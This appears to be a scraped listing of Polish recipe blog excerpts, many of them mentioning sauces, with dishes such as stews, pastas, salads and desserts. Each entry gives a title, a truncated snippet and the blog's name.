Potrawka ze słodkich ziemniaków i szpinaku 212

wykorzystuję zamiennie, dlatego na zdjęciach częściowych jest jarmuż, a na końcowych szpinak :)! Najczęściej z tych dwóch składników przygotowuję bataty nadziewane szpinakiem, ale dla urozmaicenia dodałam do nich -tym razem- sos pomidorowy i ciecierzycę. Oczywiście taką potrawkę można podawać z chlebem, ryżem czy kuskusem. Zapraszam – oto potrawka ze słodkich ziemniaków i szpinaku/jarmużu Potrawka ze słodkich ziemniaków i szpinaku Składniki

UgotujmyTo.pl
Lasagne w wersji FIT 398

niewielkiej ilości wody do momentu jej wyparowania. Doprawiamy solą i dodajemy przeciśnięty przez praskę czosnek.  Naczynie żaroodporne smarujemy delikatnie oliwą i nakładamy dwa naleśniki. Na pierwszą warstwę nakładamy sos z mięsem i przykrywamy kolejnymi dwoma naleśnikami.   Na naleśniki nakładamy szpinak i ponownie przykrywamy naleśnikami, które posypujemy startą mozzarellą.       Naczynie żaroodporne wkładamy do zimnego piekarnika, nastawiamy

paapilotkaa
Wytrawne muffiny z bekonem, karmelem i popcornem 213

podczas robienia karmelu nie mieszamy masy - wymieszanie jej spowoduje zbrylenie się cukru). Zdejmujemy z ognia, dodajemy śmietankę i szybko mieszamy. Odstawiamy do lekkiego przestygnięcia/zgęstnienia. 5. W karmelowym sosie  maczamy wierzch babeczek, a następnie zanurzamy w misce z popcornem. Odstawiamy do całkowitego stężenia. Gotowe

My Culinary Art
Krewetki w sosie pomidorowo-kokosowym z brązowym ryżem 176

kosteczkę pomidor dodać wyciśnięty czosnek, curry, imbir oraz kurkumę 4. Dodać krewetki- delikatnie je posolić. Smażyć po 2 minuty na każdej stronie. 5. Przełożyć krewetki z przyprawami do sosu. Gotować na małym ogniu jeszcze przez około 2 minuty. 6. Podawać z brązowym ryżem przyozdobione posiekanym szczypiorkiem. Smacznego

KreatywnePiny
TOMATO SOUP z TAMRIEL – SKYRIM – zupa z pieczonych pomidorów z pietruszkowym pesto 215

upieczeniu trzeba będzie je wyjąć i obrać (dzięki skórce czosnek nie spali się i po upieczeniu będzie miał maślaną konsystencję oraz słodkawy posmak). Wszystkie warzywa równomiernie oblewamy oliwą oraz sosem sojowym (lub octem balsamicznym) posypujemy odrobiną soli, cukru, pieprzu oraz chili. 3. PIECZENIE (40 min) Blaszkę z warzywami wkładamy do rozgrzanego piekarnika i pieczemy ok. 40 min – warzywa powinny być

Nerds Kitchen
Wiosenna sałatka z makaronem i paluszkami krabowymi / surimi 318

pokrojone wcześniej składniki. Dodajemy zmielony pieprz, sól oraz majonez ze śmietaną/jogurtem i odrobiną musztardy. Całość mieszamy i odstawiamy na chwilę do lodówki, aby sałatka połączyła się ze sosem. Jakie są Wasze ulubione sałatki na wiosnę

Zofiana
Pasztet z królika 208

Pasztet pewnie robimy z różnego mięsa, jednak  mięso z królika chyba najbardziej pasuje  do tego typu potrawy. Doskonale smakuje z dodatkiem żurawiny, sosu tatarskiego, czy też ćwikły.  Jeśli ktoś jeszcze nie próbował to  z przyjemnością  zapraszam do obejrzenia przepisu.   SKŁADNIKI: mięso  z królika ok. 1,5 kg 1/2 kg. surowego boczku lub podgarla

W kuchennym oknie Ewy
Mazurek kajmakowo – kawowy 283

miękkim masłem, dodać wystudzoną czekoladę i kawę, wszystko dokładnie zmiksować. Masę kajmakową przełożyć na wystudzone ciasto, rozłożyć równomiernie pistacje. Gdy masa zgęstnieje wierzch przystroić bezami, można je też polać sosem czekoladowym. Smacznego

Na słodko lub wytrawnie
Makaron ze szparagami, szynką i mozzarellą 284

mozzarelli. Makaron ze szparagami, szynką i mozzarellą to danie to zrobienia w 15 minut. Zadowoli wszystkich fanów szparagów, a także tych, którzy lubią makarony, ale nie przepadają za ciężkimi sosami, w których często owe makarony pływają. Zobacz również inne przepisy na SZPARAGI ----> omlet ze szparagami i baleronem coppa , szparagi z boczkiem , szaszłyki z kurczakiem i szparagami  Makaron

Moje Qulinaria
Kresowe gołąbki z kaszy jęczmiennej 198

miałam na blogu tak historycznego przepisu Jest to przepis mojej prababci, która pochodziła spod Lwowa. Gołąbki są pyszne, nawet dla mnie, choć za kaszami nie przepadam. Najlepiej smakują z sosem grzybowym lub pieczarkowym. Składniki: mała główka białej kapusty 200 g kaszy jęczmiennej 3 średnie ziemniaki cebula sól, pieprz Przygotowanie Kapustę wkładamy do dużego garnka, zalewamy wodą, przykrywamy i gotujemy kilka

e-PrzepisyKulinarne
Pulpeciki z kaszą jaglaną w sosie pomidorowym z pieczarkami 400

Dzisiaj zapraszam Was na najlepsze pulpeciki na świecie. Miękkie, soczyste dzięki dodatkowi kaszy jaglanej. W towarzystwie gęstego sosu pomidorowego i pieczarek. Całość posypana dużą ilością świeżej bazylii. Pychota! Do przygotowania 21 średniej wielkości pulpecików potrzebujemy: - 1 polędwiczkę wieprzową (ok 300-400 g) (oczywiście możecie zastąpić kurczakiem) - 1/2 do 2/3 woreczka ugotowanej kaszy jaglanej - 1 jajko - domowy koncentrat pomidorowy - koncentrat

Szybko Tanio Smacznie
Zupa porowo-jabłkowa z sezamowymi lizakami tofu 265

Posiekaj 2 cebule i podsmaż je w dużym garnku. Po chwili dodaj obrane i pokrojone: 4 marchewki, dwie pietruszki, 1 mały seler, por. Podsmaż chwilę razem i podlej odrobiną sosu sojowego i białego wina, dolej 1 litr wody. Dorzuć 2 listki laurowe, 4 jagody jałowca, 4 ziarna ziela angielskiego. Doprowadź do wrzenia i gotuj 20 minut. Na koniec przecedź przez

Roślinna - blog wegański
Farfalle z kurczakiem, bakłażanem i pieczarkami 189

jest gotowa, zdjąć patelnię z ognia i dodać śmietanę. Mieszać całość dokładnie. 5. Ugotować makaron al dente 6. Ułożyć makaron na talerzach, pośrodku zrobić gniazdko i położyć w nie sos. 7. Całość posypać startym serem i świeżą posiekaną natką pietruszki Smacznego

KreatywnePiny
Amarantuska z orzechami i mlekiem kokosowym 234

łyżeczki marmolady truskawkowej 1 garść mieszanki orzechów Oba rodzaje mleka zagotowujemy  Amarantus przesypujemy do miseczki i zalewamy mlekiem - mieszamy Dodajemy orzechy i marmoladę. Można polać dowolnym słodkim sosem, choć ja tego nie robiłam Smacznego

www.szczesliwakuchnia.blogspot.com
Flaki na ostro z woka 250

Jeśli macie w domu flaki (bo kupiliście do poprzedniego przepisu na zupę tajską i część Wam została), to dzisiejszy przepis jest właśnie dla Was. Tak na

slodkokwasnapl
Bitki w sosie pomidorowym 221

rozbić tłuczkiem.Mięso podsmażyć na patelni, dodać cebulę, warzywa oraz przyprawy.Zalać wszystko bulionem, dodać koncentrat .Dusić aż mięso będzie miękkie.W razie potrzeby dolać wody.Pod koniec dodać śmietanę. Sos można zagęścić 1-2 łyżkami mąki rozrobionymi  w zimnej wodzie i zagotować

Moje domowe kucharzenie
chłodnik z arbuza 326

skóry i pestek 100 gram malin pieprz grubo ziarnisty cukier puder Arbuza blendujemy razem z malinami , wylewamy na talerz posypujemy pieprzem i cukrem pudrem. Chłodnik podawać z dodatkami. SOS PORZECZKOWY 1/2 szklanki czarnej porzeczki 1 łyżka miodu Porzeczki blendujemy zostawiając kilka sztuk do dekoracji , doprawiamy miodem . DODATKOWO ogórek świeży rzodkiewki ser feta ser cheddar z jagodami i żurawiną kilka malutkich

na gazie
Miętus z kwaśnymi grzybami 278

Miałam kupionego miętusa i zastanawiałam się jak go zrobić ( ostatnio był chyba w sosie koperkowym ). Mamie przypomniało się, że jak pływaliśmy na spływy kajakowe często dusiło się miętusa z grzybami. Teraz oczywiście ryba jest ze sklepu , a z doprawianiem eksperymentuję. Czytaj więcej

Buniabaje w kuchni
Błyskawiczna sałatka z rukoli, pomidora i rzodkiewki z dodatkiem prażonych orzechów nerkowca 230

cząstki pomidora. Wierzch posypać posiekanymi lekko orzechami nerkowca. Przed podaniem skropić lekko oliwą. Orzechy są lekko słone, więc ja użyłam samej oliwy, bez dodatku soli. Można jednak przygotować ulubiony sos do sałatek na bazie oliwy.  Sałatka jest prosta i szybka do przygotowania. Orzechy nerkowca są delikatne w smaku i dość miękkie. Bardzo dobrze pasują do takiej sałatki.  ORZECHY

Codzienna kuchnia niecodzienna
Tortille z pikantnym kurczakiem i chrupiącymi warzywami 370

ziarnami) pierś kurczaka sałata rzymska papryka czerwona awokado (plus sok z cytryny do skropienia) szczypiorek ogórek oliwa do smażenia   Na marynatę do kurczaka: 1 łyżka miodu 2 łyżki sosu sojowego 1 łyżka soku z cytryny skórka otarta z połowy cytryny 1 ząbek czosnku - przeciśnięty przez praskę łyżeczka pasty z ostrej papryki (można zamiast tego użyć posiekanej chilli

Kulinarne Inspiracje
Frytki z batatów i marchewki 213

przyprawami. Przygotowane warzywa piec w 210º C  przez 25-35 minut, co jakiś czas warzywa przerzucać na drugą stronę, aby całość równomiernie się zarumieniła. Podawać z ulubionym sosem, np. czosnkowym bądź samym jogurtem

Ugotować
Ryżowa zapiekanka z tuńczykiem i warzywami 237

sałatki. Wzbogacona o cukinię i marchewkę. Idealna na rodzinny obiad czy nawet przyjęcie. ;) Składniki (na ok. 6 porcji) : - 2 torebki dowolnego, ulubionego ryżu - 2 puszki tuńczyka w oleju lub sosie własnym (odsączonego) - puszka kukurydzy - 1 duża cukinia - 2-3 średniej wielkości marchewki - cebula - ząbek czosnku - 2 łyżki oleju - 2 łyżki kremowego serka kanapkowego - 2 łyżki musztardy - kubeczek jogurtu naturalnego - jajko

Kuchnia Ellie
Dorsz pieczony ze śmietaną i warzywami (Bacalhau com natas) 219

Kuchnia portugalska słynie z różnorodnych dań z dorsza. Oto jedno z nich. Kremowy sos i ziemniaki z warzywami świetnie podkreślają delikatność ryby.  300 g dorsza (u mnie mrożony) 1 szklanka mleka 200 g ziemniaków 1 duża cebula 1 łyżka mąki 5 łyżek śmietany 18% 250 g warzyw na patelnię z koperkiem Hortex 150 g twardego sera Olej do smażenia

VioletoweKucharzenie
Karkówka w marynacie 203

Karkówka w tej marynacie jest bardzo aromatyczna, ma ciekawy smak ohh był to szybki i pyszny obiad. Polecam! Składniki: 6-7 plastrów karkówki cebula Marynata: 3 łyżki sosu sojowego 3 łyżki wody 1 łyżka miodu 2 łyżki oleju 1 łyżeczka musztardy 1 łyżka ostrej papryki 1 łyżka słodkiej papryki 0,5 łyżeczki przyprawy do mięsa 0,5 łyżeczki świeżo mielonego

NA MOIM TALERZU
Zapiekane naleśniki z indykiem po meksykańsku 298

każdym naleśnikiem. Jak już wszystkie naleśniki znajdą się w formie, posyp je pozostałym serem.  Piecz naleśniki w 180 C przez 15-20 minut. Można również przygotować dodatkowy sos czosnkowy jeżeli ktoś lubi :P Smacznego

Niezły Młynek
Marchewka - wartości odżywcze 200

najpopularniejszych warzyw w Polsce. Dodajemy ją niemal wszędzie m.in: zupy, sałatki czy zapiekanki. Najlepszym i najprostszym sposobom jest jeść ją po prostu na surowo. Uwielbiam chrupanie jej z sosem czosnkowym lub po prostu solo. Marchewka i jej wartości odżywcze: zawiera beta-karoten, czyli barwnik o kolorze pomarańczowym, który nadaje skórze lekką opaleniznę zawieraj najwięcej witaminy A, która najlepiej wchłaniania się

Truskawkowa Fiesta
Szparagi, feta i suszone pomidory 241

Rozpoczynam sezon na szparagi! Pierwsze w tym sezonie szparagi były podane w formie sałatki. Proste i pyszne. Polecam. pęczek szparag ser feta suszone pomidory orzechy włoskie sos ze zredukowany octem balsamicznym   Zagotować wodę w dużym garnku. od szparag odłamać końcówki. Wrzucić je do wrzątku. W naczyniu obok przygotować wodę z dużą ilością lodu. Kiedy

Polska Zupa
Serowy brokuł w zdrowszym wydaniu 212

Bardzo prosty, szybki i smaczny przepis na obiad, w którym główne skrzypce gra brokuł. Idealnie komponuje się z sosem serowym, który jak wiadomo nie do końca jest korzystny dla nas, dlatego proponuję lżejszą i równie smaczną alternatywę!  Składniki: -> 100 gram makaronu penne pełnoziarnistego -> 100g sera Mozzarella  -> 1/2 opakowania jogurtu greckiego  -> sól,pieprz, czosnek

Jedz zdrowo żyj zdrowo!
"wstawiony %" kotlet schabowy 171

miękkości. Oczywiście kotlety smażymy bez panierki :) ** dla niektórych "moc" śliwek może być zbyt mocna i tłamsić smak mięsa polecam użycie świeżych bądź wcześniejsze podduszenie śliwek [ otrzymamy dobrą bazę na sos] a śliwki stracą kilkanaście

Jedz zdrowo żyj zdrowo!
Makaron z tuńczykiem, marchewką i groszkiem 370

kilka minut. Następnie wrzucić marchewkę z groszkiem i doprawić do smaku. Zmniejszyć ogień i dusić do miękkości marchewki. Na koniec dodać tuńczyka, wymieszać i podgrzać.  Makaron wymieszać z sosem i podawać od razu

Pasja Smaku
Pieczone ziemniaki z czosnkiem 167

Przygotowanie ich idzie szybko, jednak czasu im trzeba trochę dać, by doszły do siebie. W między czasie można przygotować np. pulpety tak jak ja (tym razem podałam je w sosie koperkowym) lub po prostu pilnować piekarnika;) Aż szkoda, że u mnie już wszystko zostało zjedzone

Pink Envelope
Makaron rigatoni z sosem mięsnym 209

Jakiś czas temu znalazłam na Pinterest foto, na którym makaron rigatoni był poukładany w tortownicy, zalany sosem mięsnym i posypany żółtym serem – wszystko to zapiekane. Bardzo mi się spodobał ten pomysł, więc dziś na obiad podałam taki wymysł. Autorowi bardzo dziękuję za urozmaicenie gotowania ;) Składniki450 g mięsa mielonego500 g makaronu rigatoni4 ząbki

Pink Envelope
Tosty francuskie na słodko 238

Dziś postaram się Was skusić na tosty francuskie, z dodatkiem jogurtu naturalnego, z pestkami granatu i orzechami włoskimi. Pozwoliłam sobie jeszcze na trochę słodyczy – sos krówkowy, takie małe rozpieszczenie podniebienia ;) Składniki1 jajko4 kromki chleba tostowego3 łyżki mleka1 łyżka masła (do smażenia)szczypta soliszczypta cynamonuszczypta cukruDodatkowopestki granatu1 łyżeczka posiekanych orzechów włoskich2 łyżki jogurtu naturalnego

Pink Envelope
Pudding z kaszy manny 133

zupę mleczną. Kaszę mannę bardzo lubię i dziś przygotowałam szybki deser z nią w roli głównej. Pudding przygotowujemy nie dłużej niż w 15 minut i możemy zaszaleć z owocowymi sosami lub innymi dodatkami. U mnie

Pink Envelope
Makaron z krewetkami 159

Skoro mają być krewetki to w jak najlepszej odsłonie. Moja propozycja: z tagliatelle, w gęstym sosie śmietanowym, dorzucamy kilka suszonych pomidorów, szczypiorek, świeżą bazylię, zakończymy aromatycznym parmezanem i możemy poczuć się jak we Włoszech :) Inspirowałam się przepisem z książki What Katie Ate. Składnikiok. 300 g makaronu tagliatelle250 g mrożonych krewetek Black Tiger1 szklanka

Pink Envelope
Churros 111

Chrupiące na zewnątrz, z miękkim środkiem, maczane w sosie karmelowym – moje pierwsze churros. Przysmak hiszpański, który fantastycznie smakuje na ciepło posypany cukrem pudrem. Razem z pączkamu na tłusty czwartek wpasuje się idealnie. Inspirowałam się przepisem z blogu Call me cupcakes. Składniki 100 g masła 250 ml wody 170 g mąki pszennej 1 łyżeczka

Pink Envelope
Makaron ze szparagami, szynką parmeńską i ricottą 176

chwilę smażymy. Wlewamy wodę z gotowania makaronu (1/2 szklanki), dodajemy ricottę i doprawiamy solą, pieprzem oraz szczyptą gałki muszkatołowej. Następnie w garnku w którym gotował się makaron mieszamy: makaron, sos z ricotty oraz drobno posiekane świeże zioła. Gotowy makaron wykładamy od razu na talerze, posypujemy parmezanem, dekorujemy świeżymi ziołami, chipsem z szynki parmeńskiej i główkami szparagów. Gotowe

Mango Papaja
Łopatka w kruchym cieście 223

czerstwe bułki 5-6 jaj 2 łyżeczki majeranku 2 łyżeczki tymianku 2 łyżeczki soli 2 łyżeczki słodkiej papryki 1 łyżeczka ostrej papryki pieprz czarny świeżo mielony 2-3 łyżeczki sosu ciemnego sojowego lub maggi Ciasto kruche: 3 szklanki / 35 dag mąki pszennej 2 żółtka 15 dag margaryny 2,5  łyżki kwaśnej śmietany 1 łyżeczka proszku do pieczenia szczypta soli

Apetyczna babeczka
Tort makaronowy 242

mąka straci surowość i całość zacznie "ładnie pachnieć". Wlać mleko i dokładnie wymieszać. Cały czas mieszając dodać sól i pozostałe przyprawy.  6. Do ugotowanego makaronu wlać gorący sos beszamelowy, dodać garść startego sera i dokładnie wymieszać. 7. Połowę makaronu rozłożyć w tortownicy lekko ugniatając (lub trochę więcej niż połowę, tak żeby dokładnie przykryć całe dno).  8. Usmażone mięso

Kto ugości moich gości?
Pasta jajeczna z tuńczykiem i ogórkiem kiszonym 228

kaparami , pasta jajeczna z tuńczykiem i żółtym serem , pasta jajeczna z tuńczykiem .  Pasta jajeczna z tuńczykiem i ogórkiem kiszonym - przepis: Składniki: 4 jajka "M" puszka tuńczyka w sosie własnym 1 duży lub 2 mniejsze ogórki kiszone pęczek koperku sól, pieprz do smaku 1-2 łyżki majonezu opcjonalnie - ulubione kiełki Pasta jajeczna z tuńczykiem i ogórkiem kiszonym - jak zrobić? Jajka

Moje Qulinaria
Polędwiczka wieprzowa po chińsku 213

pomysłu na obiad najczęściej robię jakiś szybki makaron albo szybką domową chińszczyznę w oparciu o dwa dodatki sos sojowy i olej sezamowy. Nie ważne co bym dodała danie zawsze jest pyszne, bo smak oleju sezamowego uwielbiamy. Dzisiaj taka właśnie potrawa z polędwiczką wieprzową w roli głównej. Czytaj więcej

Bernika - moj kulinarny pamietnik
Żeberka pieczone z jabłkami 155

Mięso wraz z zalewą przełożyć do naczynia żaroodpornego , wlać 1/2 szklanki wody i piec w piekarniku nagrzanym do 200 stopni C bez przykrycia. Co jakiś czas polewać żeberka sosem. W razie potrzeby uzupełniać wodę. Jabłka obrać, pokroić na ćwiartki, usunąć gniazda nasienne i pół godziny przed końcem  pieczenia dodać je do żeberek. Smacznego

O kuchni z uczuciem
Ryż jaśminowy z sosem malinowym 241

malin - 3 łyżki jogurtu greckiego - 2łyżki cukru Wykonanie: Do małego garnuszka wrzucamy maliny zasypujemy je cukrem i ciągle mieszając doprowadzamy do wrzenia, po przestygnieciu dodajemy jogurt i mamy gotowy sos ;]  Ryż gotujemy według przepisu na opakowaniu. Smacznego

Tanio szybko zdrowo
Tortilla 292

minuty na drugą stronę.     Tortillę podajemy z ulubionymi dodatkami (u nas pomidory, papryka, cebula, sałata, usmażone kawałki piersi z kurczaka, ser żółty, majonez + ketchup (lub sos przyrządzony według tego przepisu )).       Smacznego

paapilotkaa
Kurczak po katalońsku 436

wsypujemy suchy ryż. Dokładnie mieszamy. Dusimy pod przykryciem, około 20 minut, od czasu do czasu mieszając (żeby ryż się nie przypalił). Pod koniec na wierzchu układamy usmażonego kurczaka, polewamy sosem. Zdejmujemy z ognia, dekorujemy pokrojonymi czarnymi oliwkami. Smacznego

VioletoweKucharzenie
smaczna lasagne "po mojemu"... 218

dodać mielone mięso z łopatki i podsmażać z 10 minut co jakiś czas mieszając dodać kucharek, paprykę ostrą, przecier pomidorowy, oregano, wodę i na mniejszym ogniu gotować do zagęstnienia sosu mąkę wymieszać rózgą z jajkiem, mlekiem na konsystencję bez grudek do naczynia żaroodpornego wysmarowanego oliwą nakładać warstwami: trochę mięsa - płat lasagne, trochę polać mlekiem - zakończyć nakryciem płatu lasagne i polaniem

W Mojej Kuchni Lubię
Wołowina w winie 160

zrumienić na oliwie. Zalać winem. Dodać gorczycę, musztardę, liść laurowy. Dusić pod przykryciem 40 minut. Po tym czasie dodać pokrojone na ćwiartki szalotki. Dusić aż mięso będzie miękkie, a sos zredukuje się o połowę (czyli jeszcze ok. godzinę). Dopiero wtedy doprawiamy solą, pieprzem i odrobiną cukru. Na koniec dodać masło i wymieszać wszystko

Kulinarne Inspiracje
Polędwiczka na kanapie 207

minut do piekarnika rozgrzanego do 180 stopni. Po wyjęciu dać jej "odpocząć" przez 10 minut, aby soki się dobrze rozeszły po całym mięsie. Ciabatę przekroić na pół. Skopić porządnie sosem z pieczenia polędwiczki- to bardzo ważne, bo wtedy pieczywo zrobi się pysznie wilgotne. Na jednej połówce ułożyć sałatę, rukolę, żurawinę, suszone pomidory i pokrojoną w plastry polędwiczkę. Przykryć drugą

Kulinarne Inspiracje
Kurczak w curry kokosowym 192

można nawet na godzinę). Na rozgrzanej patelni usmażyć szybko kurczaka, dodać marynatę jeśli trochę jej zostało w misce. Zalać wszystko mleczkiem kokosowym wymieszanym z mąką ziemniaczaną. Gotować aż sos lekko się zredukuje i lekko zgęstnieje. Dodać resztę kolendry i wymieszać. Podawać z łyżką jogurtu naturalnego na wierzchu i ryżem basmati

Kulinarne Inspiracje
Owoce pod kruszonką 186

nią obficie owoce. Piec w piekarniku nagrzanym do 180 stopni przez ok 30 minut aż kruszonka się zezłoci, a owoce zaczną bulgotać i brzy brzegach naczynia pojawi się gęsty sos. Podawać ciepłe w pucharkach np. z lodami waniliowymi

Kulinarne Inspiracje
Kurczak w porach 195

grillowej, aż będzie złotobrązowy. Na drugiej patelni rozgrzać oliwę, zeszklić posiekanego w półplasterki pora. Zalać białym winem, dodać łyżeczkę musztardy. Położyć na tym kurczaka - nie powinien być przykryty sosem w całości. Przykryć folią aluminiową i dusić przez 10-12 minut. Zdjąż folię i dodać śmietankę (warto ją wcześniej zahartować). Doprawić solą i pieprzem do smaku. Pogotować jeszcze

Kulinarne Inspiracje
Penne z rukolą i kurczakiem 379

rozgrzać trochę oliwy (ja używam tej ze słoika z suszonymi pomidorami) - podsmażyć na złoto kurczaka, dodać posiekane ząbki czosnku - zeszklić, wrzucić na patelnię pokrojone suszone pomidorki. Doprawić sos solą i pieprzem. Wrzucić do niego makaron i rukolę- podsmażyć króciutko na patelni - żeby smaki się "przegryzły". Podawać posypane wiórkami parmezanu - im więcej tym lepiej:) UWAGA! Danie odpowiednie dla diabetyków

Kulinarne Inspiracje
Parpadelle z bobem i chilli oraz zmiana wyglądu bloga 159

rozgotować! Na patelnię wlać oliwę, czosnek posiekać i podgrzewać na patelni, aż zacznie pachnieć. Dodać pokrojoną chilli i bób oraz natkę pietruszki. Doprawić solą i pieprzem. Na patelnię z sosem wrzucić makaron i wszystko dobrze wymieszać. Podawać ze świeżo startym parmezanem

Kulinarne Inspiracje
Moje chili con carne 220

Bardzo drobno posiekać suszone pomidory i dodać do chili con carne. Wlać kieliszek wina i gotować na wolnym ogniu, bez przykrycia kolejne 15 minut, aż alkohol wyparuje i sos się trochę zredukuje. I tak najlepiej smakuje kilka razy odgrzewane:) Przed podaniem posypać  natką kolendry. UWAGA! Danie odpowiednie dla diabetyków. Inne dania dla osób z cukrzycą znajdziecie na stronie

Kulinarne Inspiracje
Okoń morski z pomidorkami i białym winem 197

pyszne, aromatyczne danie z ryby. Myślę, że w ten sposób można przygotować także filety pstrąga, czy łososia. Podczas przygotowania na patelni powstaje pyszny, aromatyczny sos - który można zbierać z talerza kawałkiem świeżej ciabatty. Składniki: 4 filety okonia morskiego (lub innej ryby) płaska łyżka masła klarowanego łyżka oliwy z oliwek płatki suszonej chilli 2 ząbki czosnku cytryna pół kieliszka wina

Kulinarne Inspiracje
Pierś kurczaka z warzywami 234

między warzywa. Przykryć pokrywką lub folią aluminiową i włożyć do piekarnika nagrzanego do 180 stopni na 20-25 minut. W tym czasie warto jeden lub dwa razy polać pierś sosem, który powstał na dnie naczynia - mięso będzie bardziej soczyste

Kulinarne Inspiracje
Schab faszerowany grzybami i suszonymi pomidorami 158

odwijamy mięso z foli i pieczemy jeszcze ok 40 - 50 min. Powinno ładnie się  przyrumienić. Kroimy w plastry podajemy z ziemniakami lub kaszą. U mnie dodatkowo do całości sos grzybowy (dla chętnych). Polecam również inne  bardzo smaczne danie  Kurczak faszerowany SMACZNEGO Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej mi będzie trafić

W kuchennym oknie Ewy
Podpłomyki 207

zabraknie chleba na śniadanie. Składniki na pewno każdy ma w domu (no chyba że cierpi na celiakię), wyrabiamy ekspresowo ciasto i za chwilę mamy całkiem ciekawy dodatek, do dipów, sosów czy zamiast chleba

Ditecz
the best of 2015: marzec 213

Sałatka z selera Wielkanocne rolady drobiowe z chrzanem i żurawiną Szybka sałatka buraczana Wielkanocne ciasto czekoladowe z jabłkami (bez glutenu, bez masła, bez laktozy). Babka Domowy sos tatarski na Wielkanoc Babka wielkanocna z jagodami. Bez glutenu, jajek, mleka i laktozy

Szybko Tanio Smacznie
Sałatka z brokułem 1462

minuty i przełożony do cedzaka również przelewam zimną wodą po czym wyciągam na deskę i kroję na krótkie nitki. Majonez mieszam z jogurtem. Brokuł, makaron i sos majonezowo - jogurtowy  mieszam ze sobą i schładzam w lodówce

Mechanik w kuchni
Sałatka śledziowa z kiszonymi burakami 306

wyjątkową rybkę.  Ponieważ kilka tygodni temu podjęłam wyzwanie rozpropagowania zapomnianego kwasu buraczanego i kiszonych buraków, dziś proponuję bardzo udane połączenie najbardziej popularnej przystawki właśnie z kiszonymi burakami i sosem jugurtowo-chrzanowym. Jeśli nie macie kiszonego buraka, no trudno :) w ostateczności możecie zastąpić go pieczonym, ale polecam ukisić własne buraczki co trwa zaledwie tydzień.   Czas przygotowania: 15 minut Składniki

SzczyptaSmaQ
941. Orzechowa jaglanka. 177

Orzechowa kasza jaglana*; z bananem i malinami  *z "sosem" z masłem orzechowego Skoro była na słono, to nie mogło jej zabraknąć na śnaidanie

More food, love and dreams
Klopsy w pikantnym sosie z winem i korniszonami czyli Niedzielne Mielenie odc.29 211

robię to dość często szukając inspiracji, nie mogę oderwać oczu a pomysły na obiady i desery (ło)buzują w mojej głowie ;) Klopsiki są łagodne w smaku, zdecydowanie mięsne. Sos jest tu podstawa smaku, nadaje charakteru całej potrawie. Pyszny, esencjonalny, czego chcieć więcej? Przepis już niebawem

Dzieje kuchennej Wiewióry
Sałatka na krakersach 396

twardo i po wystudzeniu oddzielić żółtka od białek Białka zetrzeć osobno i żółtka osobno na drobnej tarce Ser zetrzeć na tarce o drobnych oczkach Szprotki ugnieść wraz z sosem pomidorowym widelcem. Szczypiorek pokroić drobno. Układamy warstwy sałatki. 1 Krakersy układamy w prostokącie  4 na szerokość  i 3 w pionie. 2 Ser mieszamy z połową majonezu 3 krakersy

O kuchni z uczuciem
Bulion warzywny 177

ziela angielskiego, owoców jałowca to idealna baza do zup czy kremów :) Bulion warzywny składniki: pół selera kilka liści pora 2 marchwie 2 cebule 5 ząbków czosnku 1,5 łyżki sosu sojowego 500 ml wody 2 szczypty liści lubczyku szczypta korzenia z lubczyku 2 listki laurowe 2 owoce jałowca pół łyżeczki zmielonego ziela

wegetalerze
Rukola z chipsami z buraka i sosem pomarańczowo-cytrynowym 185

zajadam? Najprostszymi, najpyszniejszymi chipsami warzywnymi. Z buraka, marchewki, selera, pietruszki, jarmużu... dosłownie wszystkiego co można ususzyć i schrupać! Często chipsy wzbogacam o jakieś zielsko, dodaje orzechy, kiełki i polewam sosem. Tak powstaje idealna lekka sałatka na leniwe niedzielne

wegetalerze
Bitki z karkówki z suszonymi grzybami 188

mięso przekładam do rondla i podlewam wodą. Dodaję grzyby oraz paprykę mieloną. Duszę na małym ogniu do miękkości.  Mąkę mieszam ze śmietaną. Wlewam do mięsa i chwilę gotuję. Sos doprawiam do smaku solą oraz pieprzem

Tradycyjna kuchnia Kasi
Frytki z pieca: topinambur i ziemniaki 150

szczyptę soli i mieszamy wszystko smarując frytki. Piec ustawiamy na 220 stopni. Frytki rozkładamy po połowie blachy (topinambur i ziemniaki) na papierze do pieczenia. Pieczemy 15 minut. Jemy z sosami lub ketchupem

Lubczyk i Wanilia
Ryba w mleku kokosowym 160

pomidory (ja używam sparzone i obrane ze skórki). Wlewamy ciupkę mleka kokosowego i dusimy z minutkę (z pomidorów też wypłynie sok więc nie przesadzamy). Dodajemy pietruszkę i rybę. W sosie robimy dziury tak żeby ryba była do połowy zanurzona i zalewamy pozostałym mlekiem (Mleka można dać mniej w zależności od wysokości ryby - zawsze można dolać). Dusimy około 15 minut. Możemy

Lubczyk i Wanilia
Tarta ze szpinakiem 210

czosnek pokroić i dodać do szpinaku. Doprawić solą i pieprzem do smaku. Dodać całe opakowanie sera fety, oraz połowę startego żółtego sera, wymieszać, aż do rozpuszczenia się sera.  Sos jajeczny: 1 jajko  150 gram śmietany 18% Wykonanie: Jajko rozbełtać ze śmietaną.  Wykonanie tarty: Farsz wyłożyć na podpieczone ciasto. Zalać śmietaną z jajkiem. Włożyć do piekarnika

Krakowskie smaki Ani
Zapiekanka z kaszy gryczanej 353

Zapiekanki pojawiają się w mojej kuchni dość często. Są proste, nie wymagają wiele wysiłku czasowego, a i można nimi doskonale czyścić lodówkę. Wystarczy pozmieniać kilka dodatków lub sos i mamy całkiem inne danie. Tym razem postawiłam na kaszę gryczaną w roli głównej   za sprawą bloga Dietetyczne fanaberie , bo zapiekanka również może być fit. Do mnie takie lekkie dania zawsze

Fabryka pomysłów
Współpraca z Bio Planet :) 240

roślinnego. Zalecane spożycie:  ok. 5 g chlorelli (mała łyżeczka) dziennie. Popić dużą ilością wody. Można ją również dodać do kefirów, jogurtów, soków, a także wykorzystać jako składnik makaronów, sosów, czy domowych ciasteczek. Wartość odżywcza w 100 g: Wartość energetyczna - 1516 kJ/    360 kcal Tłuszcz - 6,6 g w tym kwasy tłuszczowe nasycone - 1,0 g Węglowodany

Zdrowie na języku :P
Roladki z amarantusa z warzywami i śledziem 174

amarantus, ułożyć na nim śledzia, rzodkiewki i paprykę oraz liście rzodkiewki lub bazylii. Zwilżyć wodą górną część nori i zwijać roladkę za pomocą maty. Podawać np. z sosem sojowym. Uwaga! Amarantus jest bardziej mokry niż ugotowany ryż do sushi, w związku z czym nori szybko wilgotnieje i ma tendencję do falowania. Roladki są bardziej wilgotne niż sushi, więc trzeba

Weekendy w domu i ogrodzie
Nasiona Chia - dobroczynny wpływ na organizm 178

